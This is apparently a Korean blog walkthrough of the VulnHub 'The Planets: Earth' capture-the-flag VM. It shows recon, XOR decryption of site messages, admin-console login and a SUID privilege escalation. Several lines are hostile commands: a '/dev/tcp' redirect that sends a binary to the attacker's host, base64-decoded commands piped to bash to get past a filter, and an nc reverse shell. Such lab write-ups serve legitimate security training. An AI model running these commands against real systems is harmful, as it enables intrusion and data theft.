모의해킹 텃밭/vulnhub

vulnhub THE PLANETS: EARTH walkthrough (EARTH 풀이)

김춘장 2024. 4. 3. 23:16
SMALL

VM ova 및 파일,문제 출처 : https://www.vulnhub.com/entry/the-planets-earth,755/

진행 환경 : VirtualBox 사용.

Kali linux : https://www.kali.org/get-kali/#kali-platforms 

 

The Planets: Earth

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

Kali linux 의 tool 들을 이용하여 VM Earth 의 root 권한을 얻어오는 작업을 진행하겠다. 

위 사이트에 들어가면 구축이 완료된 ova 파일을 받을 수 있다. 해당 파일을 받아서 각자 PC에 설치된 VM에 가져오기를 하면 된다.

원할한 진행을 위하여 네트워크 설정만 어댑터에 브릿지 로 변경하여준다. (defualt로는 NAT로 설정되어있음)

우리는 earth 계정에 대한 정보를 아무 것도 알 수가 없기에 이 화면에서 가만히 두고 이제 kali 로 넘어간다.

첫번째로 해야할 부분은 정보 수집이다.

earth 에 대한 ip 주소, 맥주소 (이 부분은 어댑터 변경을 할 때 확인이 가능하긴 함.) , 서비스하고있는 포트에 대해 알수있는 netdiscover, nmap 을 사용해준다 (kail tool)

netdiscover 에서 옵션으로 -r IP대역대를 줌으로써 해당 IP 대역대에서 통신이 되고있는 네트워크 어댑터의 맥주소와 아이피주소를 얻을 수 있다.

host PC와 Gateway 등을 소거법으로 제외하고, 남은 것들 중 맥주소가 08:00 으로 시작하며 MAC vendor 가 PCS 인 것이 earth vm 인걸 확인할 수 있다.

해당 vm의 ip 을 알아냈으니 nmap 을 통해 earth VM 에서 사용하고있는 서비스들과, 버전, 열려있는 포트정보들을 확인할 수 있다.

위 사진을 보면 22/tcp 포트에서 ssh 를 사용하고있고, 80/tcp 에서 Apache http 서비스를 , 443번 포트가 열려있다는 걸로 https 서비스도 하고있다는 것을 확인할 수 있다.(OpenSSL을 통해서도 확인 가능.)

-A 옵션을 줘서 한번 더 scanning 을 진행해보면 DNS 정보도 획득할 수 있다.

/etc/hosts 파일에 확인한 정보를 등록하여준다.

/etc/hosts 관련 참조링크

https://storycompiler.tistory.com/118

 

[Ubuntu/Linux] /etc/hosts의 모든 것

브라우저에 도메인 이름을 치면, 네임서버를 거쳐 도메인 이름은 IP 주소로 변환이 됩니다. 그렇다면 브라우저에 "localhost"를 치면,"localhost"도 네임서버를 통해 IP 주소로 변환되는 것일까요? 레드

storycompiler.tistory.com

알아낸 정보로 우리가 접속해볼 곳은 총 4곳이다.

http://earth.local  https://earth.local http://terratest.earth.local https://terratest.earth.local

추가적으로 얻을 수 있는 정보가 있는 지 하나하나 접속해본다.

http://earth.local 접속 화면. 암호화된 무언가들이 보이고 메세지를 보내게되면 메세지 키에 의해서 암호화된다는걸 알 수 있음.
Hello chonjang IT 가 eee key에 의해서 암호화되어 추가된 걸 알 수 있음.

다른 주소로도 접속해보자.

https://terratest.earth.local

추가적으로 얻은 정보는 https://earth.local 에서 암호화된 정보 3가지를 얻을 수 있다.

아직 정보가 부족하니 해당 주소에 대해서 숨겨진 디렉토리가 있는지 확인을 해보자. 해당 정보를 알기위해선

 kali tool 중에 gobuster 와 dirb 가 있는데 이 중에서 우리는 dirb 명령을 이용하여 확인해보자.

4개의 주소를 모두 dirb를 통하여 확인해보는게 좋다.

earth.local 을 http, https 모두 검색해보니 /admin 과 /cgi-bin 이 추가적으로 발견되었다.

숨겨져있는 정보를 또 구할 수 있었다! 너무 신나니까 terratest.earth.local 에 대한 숨겨진 디렉토리도 확인해보자.

숨겨진 디렉토리를 또 발견하였다!!

웹 사이트를 구축하거나 웹 호스팅을 했을 때 디렉토리에 외부 접속(?)을 allow , disallow 하는 정보가 담겨져있는(정확히는 모르지만 이런 느낌.. 정확한 정보는 다른 곳에서....) robots.txt 을 발견할 수 있었다.

일단은 robots.txt에 먼저 접속을 해보자

여러 내용들이 disallow 되어있는 모습. 그 중 맨 밑에 testignotes.* 은 확장자만 바꾸면 접속가능해보인다.

당장 접속해보자.우선은 txt 를 주고 한번 접속해본다.

중요한 힌트를 얻을 수 있었다.

첫번째로 암호화 알고리즘엔 XOR 방식이 사용되었다는 것.

두번째로 testdata.txt 에 내용들이 암호화에 사용되었다는 것을 알 수 있다.

세번째로 username 이 terra 라는 것도 알 수 있다. 정말 중요한 정보들을 얻을 수 있었다. 당장 testdata.txt 로 가보자.

파파고에 돌려보니 지구에 대한 여러 정보들에 대해 알 수 있다... 유익한 정보!

일단은 해당 내용이 암호화에 사용되었다는 것을 보니 아까 earth.local 에서 메세지 키에 사용되었을 것 같다! 라는 의심을 하면서 earth.local 에 메세지들을 복화화 툴을 이용하여 XOR decryption 을 시도하자.

여러 암호화, 복호화 툴들이 존재하는데 가장 괜찮다고 생각하는 cyber chef 를 이용하도록 한다.

https://gchq.github.io/CyberChef/

 

CyberChef

 

gchq.github.io

From HEX( To 는 암호화 From 은 복호화) 와 XOR 방식을 추가해주고 3가지 암호화된 내용들을 하나 하나 풀어보자.

XOR의 Key 부분에 testdata 에서 얻었던 내용을 붙여넣어주고 진행해보니 암호화된 내용 중 3번째에서 유의미한 정보를 얻을 수 있었다.

이 내용이 terra 유저에 대한 암호인지 확인해본다. 아까 dirb에서 확인한 earth.local/admin 에 한번 접속해보자.

 

terra 와 earthclimatechangebad4humans 를 이용하여 로그인이 되는지 확인해보자.

성공!!!

CLI command 를 사용할 수 있는 웹 화면이 나온다.

정상적으로 작동하는지 한번 확인해보자. 만약 정상 작동한다면 로그인된 계정의 권한도 한번 확인해보자.

정상작동되고, apache 계정으로 접속한걸 확인 가능

cd /home 과 ls 명령어를 통해서 해당 CLI 에 접속된 사용자가 earth 임을 확인할 수 있다.

web 디렉토리에 또 힌트가 있나 확인해보자.

/var 경로에 earth_web 디렉토리를 확인.
user_flag.txt 를 획득했다.!

 

이제 root 계정 권한을 획득하기 위해서 권한 획득이 가능한 파일이나 서비스가 있는지 확인해보자

확인을 할 수 있는 명령어는 두 가지가 있다.

1. sudo -l  : sudo 명령어를 통하여 관리자 권한을 얻을 수 있는 파일이나 서비스 목록 불러오기.

2. find / -perm -u=s -type f 2>/dev/null : setuid 를 통하여 관리자 권한을 얻을 수 있는 목록 불러오기.

 

1번 명령어는 우리가 earth 에 대한 암호를 알고 있어야함으로 2번 명령어를 입력해보자

우리는 reset_root 라는 의미심장한 파일을 찾을 수 있었다. 한번 실행해보자.

 /usr/bin/reset_root 를 통하여 실행할 수 있다.

일단은 실행에 실패했다.. 해당 사유에 대해 정확히 알 수 없음으로 reset_root 파일을 우리 kali 환경에 가져와서 자세히 알아보기위해서 netcat 을 이용해 가져와보도록 하자.

 

CLI 에서 cat /usr/bin/reset_root 로 해당 파일을 읽어오고  > /dev/tcp/칼리IP/4444 를 적어준다 . device tcp 를 통하여 직접 칼리 4444 포트에 읽어들인 파일 내용을 덮어씌운다는 ... 대략적으로 그런 느낌의 명령어이다.

 

kali 에서는 nc -lvnp 4444 > reset_root 를 이용하여 4444 포트로 전송된 내용을 reset_root 파일에 덮어씌우겠다는 느낌!

위 사진에서 kali 에 > reset_root 를 빠트려버렸다...

입력하게되면 원격 접속이 거부된 것을 알 수 있다...그래서 우리는 해당 명령어를 칼리에서 base64로 암호화하고, 

CLI에서 echo "암호화된 내용" | base -d | bash  로 복호화 하는 방식을 통해 우회해서 명령을 내려보자.

칼리에서 암호화 진행. 해당 내용 복사해서 CLI 화면에서 아래의 명령어를 입력한다.

echo "암호화된 내용" | base64 -d | bash

정상적으로 연결되고 파일을 받아온 것을 확인할 수 있다.

칼리에서 reset_root 를 실행해보자.

여전히 작동하지않아서 ltrace (프로그램 디버깅, 추적) 명령어를 이용해서 디버깅을 해보니 3개의 경로에 

접근이 불가능해서 실행이 안되는 것을 알 수 있다. 그렇다면 만들어주자. 

다시 CLI 로 돌아와서 touch를 통해서 해당 파일을 만들어준다. (실험해보니 mkdir 로 폴더를 만들어도 가능했다.)

다 만들고나서 다시 reset_root 를 실행해주면 !! root 패스워드가 Earth 로 초기화된 것을 확인할 수 있다.

이제 nc를 통해서 원격 접속을 하고 su root 를 통하여 계정전환을 시도해보자.

칼리에서 nc -lvnp 4444로 포트를 열어준다.

아까와 같은 방법으로 base64 를 통해 우회해서 접속해보자

이제 CLI 에서 echo "암호화 내용" |base64 -d|bash 를 통해 접속한다.

root 접속 성공! root의 홈 디렉토리로 이동해서 root_flag를 찾아보자.

 

끝!! user_flag 와 root_flag 모두 찾는 것에 성공했다! 

 

PS 배운지 얼마안된 상황에서 혼자 몇 번 해본게 다라서.. 설명하면서 적으려니 지식도 적어서 힘드네요..

vulnhub 의 자료들에 대해서 풀이를 적어놓은 한국 사이트가 별로 없어서 다음 연습하시는 분들에게 도움이 되었으면 해서 작성해봅니다... 밑에 참고할만한 사이트 하나 남겨놓을께요.

 

참조 :

https://medium.com/@wiktorderda/vulnhub-the-planets-earth-ctf-4d4acfeb1428

 

VulnHub — The Planets: Earth CTF

Hello, today we are trying to get the flags from the second machine from The Planets series: Earth!

medium.com

 

LIST